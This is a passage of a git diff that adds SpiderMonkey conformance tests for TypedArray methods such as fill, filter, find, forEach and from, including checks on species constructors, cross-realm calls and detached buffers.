@@ -0,0 +1,65 @@
+for (var constructor of anyTypedArrayConstructors) {
+ assertDeepEq(constructor.prototype.fill.length, 1);
+
+ assertDeepEq(new constructor([]).fill(1), new constructor([]));
+ assertDeepEq(new constructor([1,1,1]).fill(2), new constructor([2,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 1), new constructor([1,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 1, 2), new constructor([1,2,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, -2), new constructor([1,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, -2, -1), new constructor([1,2,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, undefined), new constructor([2,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, undefined, undefined), new constructor([2,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 1, undefined), new constructor([1,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, undefined, 1), new constructor([2,1,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 2, 1), new constructor([1,1,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, -1, 1), new constructor([1,1,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, -2, 1), new constructor([1,1,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 1, -2), new constructor([1,1,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 0.1), new constructor([2,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 0.9), new constructor([2,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 1.1), new constructor([1,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 0.1, 0.9), new constructor([1,1,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 0.1, 1.9), new constructor([2,1,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 0.1, 1.9), new constructor([2,1,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, -0), new constructor([2,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 0, -0), new constructor([1,1,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, NaN), new constructor([2,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 0, NaN), new constructor([1,1,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, false), new constructor([2,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, true), new constructor([1,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, "0"), new constructor([2,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, "1"), new constructor([1,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, "-2"), new constructor([1,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, "-2", "-1"), new constructor([1,2,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, {valueOf: ()=>1}), new constructor([1,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 0, {valueOf: ()=>1}), new constructor([2,1,1]));
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var fill = newGlobal()[constructor.name].prototype.fill;
+ assertDeepEq(fill.call(new constructor([3, 2, 1]), 2), new constructor([2, 2, 2]));
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.fill.call(invalidReceiver, 1);
+ }, TypeError);
+ });
+
+ // Test that the length getter is never called.
+ Object.defineProperty(new constructor([1, 2, 3]), "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).fill(1);
+}
+
+for (let constructor of anyTypedArrayConstructors.filter(isFloatConstructor)) {
+ assertDeepEq(new constructor([0, 0]).fill(NaN), new constructor([NaN, NaN]));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/filter-species.js b/js/src/tests/non262/TypedArray/filter-species.js
new file mode 100644
index 0000000000..2de4e254e8
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/filter-species.js
@@ -0,0 +1,56 @@
+function test(constructor, constructor2, from=[1, 2, 3, 4, 5], to=[2, 4]) {
+ var modifiedConstructor = new constructor(from);
+ modifiedConstructor.constructor = constructor2;
+ assertDeepEq(modifiedConstructor.filter(x => x % 2 == 0), new constructor2(to));
+ var modifiedSpecies = new constructor(from);
+ modifiedSpecies.constructor = { [Symbol.species]: constructor2 };
+ assertDeepEq(modifiedSpecies.filter(x => x % 2 == 0), new constructor2(to));
+}
+
+// same size, same sign
+
+test(Int8Array, Uint8Array);
+test(Int8Array, Uint8ClampedArray);
+
+test(Uint8Array, Int8Array);
+test(Uint8Array, Uint8ClampedArray);
+
+test(Uint8ClampedArray, Int8Array);
+test(Uint8ClampedArray, Uint8Array);
+
+test(Int16Array, Uint16Array);
+test(Uint16Array, Int16Array);
+
+test(Int32Array, Uint32Array);
+test(Uint32Array, Int32Array);
+
+// same size, different sign
+
+test(Int8Array, Uint8Array, [-1, -2, -3, -4, -5], [0xFE, 0xFC]);
+test(Int8Array, Uint8ClampedArray, [-1, -2, -3, -4, -5], [0, 0]);
+
+test(Uint8Array, Int8Array, [0xFF, 0xFE, 0xFD, 0xFC, 0xFB], [-2, -4]);
+test(Uint8ClampedArray, Int8Array, [0xFF, 0xFE, 0xFD, 0xFC, 0xFB], [-2, -4]);
+
+test(Int16Array, Uint16Array, [-1, -2, -3, -4, -5], [0xFFFE, 0xFFFC]);
+test(Uint16Array, Int16Array, [0xFFFF, 0xFFFE, 0xFFFD, 0xFFFC, 0xFFFB], [-2, -4]);
+
+test(Int32Array, Uint32Array, [-1, -2, -3, -4, -5], [0xFFFFFFFE, 0xFFFFFFFC]);
+test(Uint32Array, Int32Array, [0xFFFFFFFF, 0xFFFFFFFE, 0xFFFFFFFD, 0xFFFFFFFC, 0xFFFFFFFB], [-2, -4]);
+
+// different size
+
+test(Uint8Array, Uint16Array);
+test(Uint16Array, Uint8Array);
+
+test(Uint8Array, Uint32Array);
+test(Uint32Array, Uint8Array);
+
+test(Uint16Array, Uint32Array);
+test(Uint32Array, Uint16Array);
+
+test(Float32Array, Float64Array);
+test(Float64Array, Float32Array);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/filter-validation.js b/js/src/tests/non262/TypedArray/filter-validation.js
new file mode 100644
index 0000000000..450b4fa2cf
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/filter-validation.js
@@ -0,0 +1,185 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Summary: Ensure typed array validation is called for TypedArray.prototype.filter.
+
+const otherGlobal = typeof newGlobal === "function" ? newGlobal() : undefined;
+const typedArrayLengths = [0, 1, 1024];
+
+function createTestCases(TAConstructor, constructor, constructorCrossRealm) {
+ let testCases = [];
+ testCases.push({
+ species: constructor,
+ method: TAConstructor.prototype.filter,
+ error: TypeError,
+ });
+ if (otherGlobal) {
+ testCases.push({
+ species: constructorCrossRealm,
+ method: TAConstructor.prototype.filter,
+ error: TypeError,
+ });
+ testCases.push({
+ species: constructor,
+ method: otherGlobal[TAConstructor.name].prototype.filter,
+ error: otherGlobal.TypeError,
+ });
+ }
+ return testCases;
+}
+
+// Throws TypeError when the returned value is not a typed array.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function NoTypedArrayConstructor(...args) {
+ let a = [];
+ callCount += 1;
+ return a;
+ }
+ function NoTypedArrayConstructorCrossRealm(...args) {
+ let a = new otherGlobal.Array();
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, NoTypedArrayConstructor, NoTypedArrayConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, () => true), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, () => false), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is too small.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function TooSmallConstructor(length) {
+ let a = new TAConstructor(Math.max(length - 1, 0));
+ callCount += 1;
+ return a;
+ }
+ function TooSmallConstructorCrossRealm(length) {
+ let a = new otherGlobal[TAConstructor.name](Math.max(length - 1, 0));
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, TooSmallConstructor, TooSmallConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+
+ // Passes when the length is zero.
+ if (length === 0) {
+ let result = method.call(ta, () => true);
+ assertEq(result.length, 0);
+ } else {
+ assertThrowsInstanceOf(() => method.call(ta, () => true), error);
+ }
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ let result = method.call(ta, () => false);
+ assertEq(result.length, 0);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// No exception when array is larger than requested.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ const extraLength = 1;
+
+ let callCount = 0, expectedCallCount = 0;
+ function TooLargeConstructor(length) {
+ let a = new TAConstructor(length + extraLength);
+ callCount += 1;
+ return a;
+ }
+ function TooLargeConstructorCrossRealm(length) {
+ let a = new otherGlobal[TAConstructor.name](length + extraLength);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, TooLargeConstructor, TooLargeConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ let result = method.call(ta, () => true);
+ assertEq(result.length, length + extraLength);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ let result = method.call(ta, () => false);
+ assertEq(result.length, extraLength);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is detached.
+if (typeof detachArrayBuffer === "function") {
+ for (const TAConstructor of typedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function DetachConstructor(...args) {
+ let a = new TAConstructor(...args);
+ detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ function DetachConstructorCrossRealm(...args) {
+ let a = new otherGlobal[TAConstructor.name](...args);
+ otherGlobal.detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, DetachConstructor, DetachConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, () => true), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, () => false), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/TypedArray/find-and-findIndex.js b/js/src/tests/non262/TypedArray/find-and-findIndex.js
new file mode 100644
index 0000000000..125ababd0b
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/find-and-findIndex.js
@@ -0,0 +1,52 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var BUGNUMBER = 1078975;
+var summary = "Implement %TypedArray%.prototype.{find, findIndex}";
+print(BUGNUMBER + ": " + summary);
+
+const methods = ["find", "findIndex"];
+
+anyTypedArrayConstructors.forEach(constructor => {
+ methods.forEach(method => {
+ var arr = new constructor([0, 1, 2, 3, 4, 5]);
+ // test that this.length is never called
+ Object.defineProperty(arr, "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ });
+ assertEq(arr[method].length, 1);
+ assertEq(arr[method](v => v === 3), 3);
+ assertEq(arr[method](v => v === 6), method === "find" ? undefined : -1);
+
+ var thisValues = [undefined, null, true, 1, "foo", [], {}];
+ if (typeof Symbol == "function")
+ thisValues.push(Symbol());
+
+ thisValues.forEach(thisArg =>
+ assertThrowsInstanceOf(() => arr[method].call(thisArg, () => true), TypeError)
+ );
+
+ assertThrowsInstanceOf(() => arr[method](), TypeError);
+ assertThrowsInstanceOf(() => arr[method](1), TypeError);
+ });
+});
+
+anyTypedArrayConstructors.filter(isFloatConstructor).forEach(constructor => {
+ var arr = new constructor([-0, 0, 1, 5, NaN, 6]);
+ assertEq(arr.find(v => Number.isNaN(v)), NaN);
+ assertEq(arr.findIndex(v => Number.isNaN(v)), 4);
+
+ assertEq(arr.find(v => Object.is(v, 0)), 0);
+ assertEq(arr.findIndex(v => Object.is(v, 0)), 1);
+
+ assertEq(arr.find(v => Object.is(v, -0)), -0);
+ assertEq(arr.findIndex(v => Object.is(v, -0)), 0);
+})
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/forEach.js b/js/src/tests/non262/TypedArray/forEach.js
new file mode 100644
index 0000000000..9daa690e2e
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/forEach.js
@@ -0,0 +1,93 @@
+// Tests for TypedArray#forEach
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.forEach.length, 1);
+
+ var arr = new constructor([1, 2, 3, 4, 5]);
+ // Tests for `thisArg` argument.
+ function assertThisArg(thisArg, thisValue) {
+ // In sloppy mode, `this` could be global object or a wrapper of `thisArg`.
+ arr.forEach(function() {
+ assertDeepEq(this, thisValue);
+ return false;
+ }, thisArg);
+
+ // In strict mode, `this` strictly equals `thisArg`.
+ arr.forEach(function() {
+ "use strict";
+ assertDeepEq(this, thisArg);
+ return false;
+ }, thisArg);
+
+ // Passing `thisArg` has no effect if callback is an arrow function.
+ var self = this;
+ arr.forEach(() => {
+ assertEq(this, self);
+ return false;
+ }, thisArg);
+ }
+ assertThisArg([1, 2, 3], [1, 2, 3]);
+ assertThisArg(Object, Object);
+ assertThisArg(1, Object(1));
+ assertThisArg("1", Object("1"));
+ assertThisArg(false, Object(false));
+ assertThisArg(undefined, this);
+ assertThisArg(null, this);
+
+ // Throw an exception in the callback.
+ var sum = 0;
+ var count = 0;
+ var thrown = false;
+ try {
+ assertEq(arr.forEach((v) => {
+ count++;
+ sum += v;
+ if (v === 3) {
+ throw "forEach";
+ }
+ }), undefined)
+ } catch(e) {
+ assertEq(e, "forEach");
+ thrown = true;
+ }
+ assertEq(thrown, true);
+ assertEq(sum, 6);
+ assertEq(count, 3);
+
+ // There is no callback or callback is not a function.
+ assertThrowsInstanceOf(() => {
+ arr.forEach();
+ }, TypeError);
+ var invalidCallbacks = [undefined, null, 1, false, "", Symbol(), [], {}, /./];
+ invalidCallbacks.forEach(callback => {
+ assertThrowsInstanceOf(() => {
+ arr.forEach(callback);
+ }, TypeError);
+ })
+
+ // Callback is a generator.
+ arr.forEach(function*(){
+ throw "This line will not be executed";
+ });
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var forEach = newGlobal()[constructor.name].prototype.forEach;
+ var sum = 0;
+ forEach.call(new constructor([1, 2, 3]), v => {
+ sum += v;
+ });
+ assertEq(sum, 6);
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.forEach.call(invalidReceiver, () => true);
+ }, TypeError, "Assert that some fails if this value is not a TypedArray");
+ });
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/from-iterable-validation.js b/js/src/tests/non262/TypedArray/from-iterable-validation.js
new file mode 100644
index 0000000000..50d46bb81f
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/from-iterable-validation.js
@@ -0,0 +1,140 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Summary: Ensure typed array validation is called for TypedArray.from.
+
+const otherGlobal = typeof newGlobal === "function" ? newGlobal() : undefined;
+const typedArrayArgs = [[], [123], [123, ...Array(1023).fill(0)]];
+
+function createTestCases(TAConstructor, constructor, constructorCrossRealm) {
+ let testCases = [];
+ testCases.push({
+ species: constructor,
+ method: TAConstructor.from,
+ error: TypeError,
+ });
+ if (otherGlobal) {
+ testCases.push({
+ species: constructorCrossRealm,
+ method: TAConstructor.from,
+ error: TypeError,
+ });
+ testCases.push({
+ species: constructor,
+ method: otherGlobal[TAConstructor.name].from,
+ error: otherGlobal.TypeError,
+ });
+ }
+ return testCases;
+}
+
+// Throws TypeError when the returned value is not a typed array.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function NoTypedArrayConstructor(...args) {
+ let a = [];
+ callCount += 1;
+ return a;
+ }
+ function NoTypedArrayConstructorCrossRealm(...args) {
+ let a = new otherGlobal.Array();
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, NoTypedArrayConstructor, NoTypedArrayConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let args of typedArrayArgs) {
+ assertThrowsInstanceOf(() => method.call(species, args), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is too small.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function TooSmallConstructor(length) {
+ let a = new TAConstructor(Math.max(length - 1, 0));
+ callCount += 1;
+ return a;
+ }
+ function TooSmallConstructorCrossRealm(length) {
+ let a = new otherGlobal[TAConstructor.name](Math.max(length - 1, 0));
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, TooSmallConstructor, TooSmallConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let args of typedArrayArgs) {
+ // Passes when the length is zero.
+ if (args.length === 0) {
+ let result = method.call(species, args);
+ assertEq(result.length, 0);
+ } else {
+ assertThrowsInstanceOf(() => method.call(species, args), error);
+ }
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// No exception when array is larger than requested.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ const extraLength = 1;
+
+ let callCount = 0, expectedCallCount = 0;
+ function TooLargeConstructor(length) {
+ let a = new TAConstructor(length + extraLength);
+ callCount += 1;
+ return a;
+ }
+ function TooLargeConstructorCrossRealm(length) {
+ let a = new otherGlobal[TAConstructor.name](length + extraLength);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, TooLargeConstructor, TooLargeConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let args of typedArrayArgs) {
+ let result = method.call(species, args);
+ assertEq(result.length, args.length + extraLength);
+ assertEq(result[0], (args.length === 0 ? 0 : 123));
+ assertEq(result[args.length + extraLength - 1], 0);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is detached.
+if (typeof detachArrayBuffer === "function") {
+ for (const TAConstructor of typedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function DetachConstructor(...args) {
+ let a = new TAConstructor(...args);
+ detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ function DetachConstructorCrossRealm(...args) {
+ let a = new otherGlobal[TAConstructor.name](...args);
+ otherGlobal.detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, DetachConstructor, DetachConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let args of typedArrayArgs) {
+ assertThrowsInstanceOf(() => method.call(species, args), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/TypedArray/from-non-iterable-validation.js b/js/src/tests/non262/TypedArray/from-non-iterable-validation.js
new file mode 100644
index 0000000000..3276426b28
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/from-non-iterable-validation.js
@@ -0,0 +1,140 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Summary: Ensure typed array validation is called for TypedArray.from.
+
+const otherGlobal = typeof newGlobal === "function" ? newGlobal() : undefined;
+const typedArrayArgs = [{length: 0}, {length: 1, 0: 123}, {length: 1024, 0: 123}];
+
+function createTestCases(TAConstructor, constructor, constructorCrossRealm) {
+ let testCases = [];
+ testCases.push({
+ species: constructor,
+ method: TAConstructor.from,
+ error: TypeError,
+ });
+ if (otherGlobal) {
+ testCases.push({
+ species: constructorCrossRealm,
+ method: TAConstructor.from,
+ error: TypeError,
+ });
+ testCases.push({
+ species: constructor,
+ method: otherGlobal[TAConstructor.name].from,
+ error: otherGlobal.TypeError,
+ });
+ }
+ return testCases;
+}
+
+// Throws TypeError when the returned value is not a typed array.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function NoTypedArrayConstructor(...args) {
+ let a = [];
+ callCount += 1;
+ return a;
+ }
+ function NoTypedArrayConstructorCrossRealm(...args) {
+ let a = new otherGlobal.Array();
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, NoTypedArrayConstructor, NoTypedArrayConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let args of typedArrayArgs) {
+ assertThrowsInstanceOf(() => method.call(species, args), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is too small.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function TooSmallConstructor(length) {
+ let a = new TAConstructor(Math.max(length - 1, 0));
+ callCount += 1;
+ return a;
+ }
+ function TooSmallConstructorCrossRealm(length) {
+ let a = new otherGlobal[TAConstructor.name](Math.max(length - 1, 0));
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, TooSmallConstructor, TooSmallConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let args of typedArrayArgs) {
+ // Passes when the length is zero.
+ if (args.length === 0) {
+ let result = method.call(species, args);
+ assertEq(result.length, 0);
+ } else {
+ assertThrowsInstanceOf(() => method.call(species, args), error);
+ }
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// No exception when array is larger than requested.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ const extraLength = 1;
+
+ let callCount = 0, expectedCallCount = 0;
+ function TooLargeConstructor(length) {
+ let a = new TAConstructor(length + extraLength);
+ callCount += 1;
+ return a;
+ }
+ function TooLargeConstructorCrossRealm(length) {
+ let a = new otherGlobal[TAConstructor.name](length + extraLength);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, TooLargeConstructor, TooLargeConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let args of typedArrayArgs) {
+ let result = method.call(species, args);
+ assertEq(result.length, args.length + extraLength);
+ assertEq(result[0], (args.length === 0 ? 0 : 123));
+ assertEq(result[args.length + extraLength - 1], 0);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is detached.
+if (typeof detachArrayBuffer === "function") {
+ for (const TAConstructor of typedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function DetachConstructor(...args) {
+ let a = new TAConstructor(...args);
+ detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ function DetachConstructorCrossRealm(...args) {
+ let a = new otherGlobal[TAConstructor.name](...args);
+ otherGlobal.detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, DetachConstructor, DetachConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let args of typedArrayArgs) {
+ assertThrowsInstanceOf(() => method.call(species, args), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/TypedArray/from_basics.js b/js/src/tests/non262/TypedArray/from_basics.js
new file mode 100644
index 0000000000..9f53feb72d
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/from_basics.js
@@ -0,0 +1,42 @@
+for (var constructor of anyTypedArrayConstructors) {
+ // 'from' method is identical for all typed array constructors.
+ assertEq(anyTypedArrayConstructors[0].from === constructor.from, true);
+
+ // %TypedArray%.from copies arrays.
+ var src = new constructor([1, 2, 3]), copy = constructor.from(src);
+ assertEq(copy === src, false);
+ assertEq(copy instanceof constructor, true);
+ assertDeepEq(copy, src);
+
+ // Non-element properties are not copied.
+ var a = new constructor([0, 1]);
+ a.name = "lisa";
+ assertDeepEq(constructor.from(a), new constructor([0, 1]));
+
+ // %TypedArray%.from can copy non-iterable objects, if they're array-like.
+ src = {0: 0, 1: 1, length: 2};
+ copy = constructor.from(src);
+ assertEq(copy instanceof constructor, true);
+ assertDeepEq(copy, new constructor([0, 1]));
+
+ // Properties past the .length are not copied.
+ src = {0: "0", 1: "1", 2: "two", 9: "nine", name: "lisa", length: 2};
+ assertDeepEq(constructor.from(src), new constructor([0, 1]));
+
+ // If an object has neither an @@iterator method nor .length,
+ // then it's treated as zero-length.
+ assertDeepEq(constructor.from({}), new constructor());
+
+ // Primitives will be coerced to primitive wrapper first.
+ assertDeepEq(constructor.from(1), new constructor());
+ assertDeepEq(constructor.from("123"), new constructor([1, 2, 3]));
+ assertDeepEq(constructor.from(true), new constructor());
+ assertDeepEq(constructor.from(Symbol()), new constructor());
+
+ // Source object property order doesn't matter.
+ src = {length: 2, 1: "1", 0: "0"};
+ assertDeepEq(constructor.from(src), new constructor([0, 1]));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/from_constructor.js b/js/src/tests/non262/TypedArray/from_constructor.js
new file mode 100644
index 0000000000..0b0773b85c
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/from_constructor.js
@@ -0,0 +1,36 @@
+for (var constructor of anyTypedArrayConstructors) {
+ // Note %TypedArray%.from(iterable) calls 'this' with an argument whose value is
+ // `[...iterable].length`, while Array.from(iterable) doesn't pass any argument.
+ constructor.from.call(function(len){
+ assertEq(len, 3);
+ return new constructor(len);
+ }, Array(3));
+
+ // If the 'this' value passed to %TypedArray.from is not a constructor,
+ // then an exception is thrown, while Array.from will use Array as it's constructor.
+ var arr = [3, 4, 5];
+ var nonconstructors = [
+ {}, Math, Object.getPrototypeOf, undefined, 17,
+ () => ({}) // arrow functions are not constructors
+ ];
+ for (var v of nonconstructors) {
+ assertThrowsInstanceOf(() => {
+ constructor.from.call(v, arr);
+ }, TypeError);
+ }
+
+ // %TypedArray%.from does not get confused if global constructors for typed arrays
+ // are replaced with another constructor.
+ function NotArray(...rest) {
+ return new constructor(...rest);
+ }
+ var RealArray = constructor;
+ NotArray.from = constructor.from;
+ this[constructor.name] = NotArray;
+ assertEq(RealArray.from([1]) instanceof RealArray, true);
+ assertEq(NotArray.from([1]) instanceof RealArray, true);
+ this[constructor.name] = RealArray;
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/from_errors.js b/js/src/tests/non262/TypedArray/from_errors.js
new file mode 100644
index 0000000000..281b1b5129
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/from_errors.js
@@ -0,0 +1,76 @@
+for (var constructor of anyTypedArrayConstructors) {
+ // %TypedArray%.from throws if the argument is undefined or null.
+ assertThrowsInstanceOf(() => constructor.from(), TypeError);
+ assertThrowsInstanceOf(() => constructor.from(undefined), TypeError);
+ assertThrowsInstanceOf(() => constructor.from(null), TypeError);
+
+ // Unlike Array.from, %TypedArray%.from doesn't get or set the length property.
+ function ObjectWithThrowingLengthGetterSetter(...rest) {
+ var ta = new constructor(...rest);
+ Object.defineProperty(ta, "length", {
+ configurable: true,
+ get() { throw new RangeError("getter!"); },
+ set() { throw new RangeError("setter!"); }
+ });
+ return ta;
+ }
+ ObjectWithThrowingLengthGetterSetter.from = constructor.from;
+ assertEq(ObjectWithThrowingLengthGetterSetter.from([123])[0], 123);
+
+ // %TypedArray%.from throws if mapfn is neither callable nor undefined.
+ assertThrowsInstanceOf(() => constructor.from([3, 4, 5], {}), TypeError);
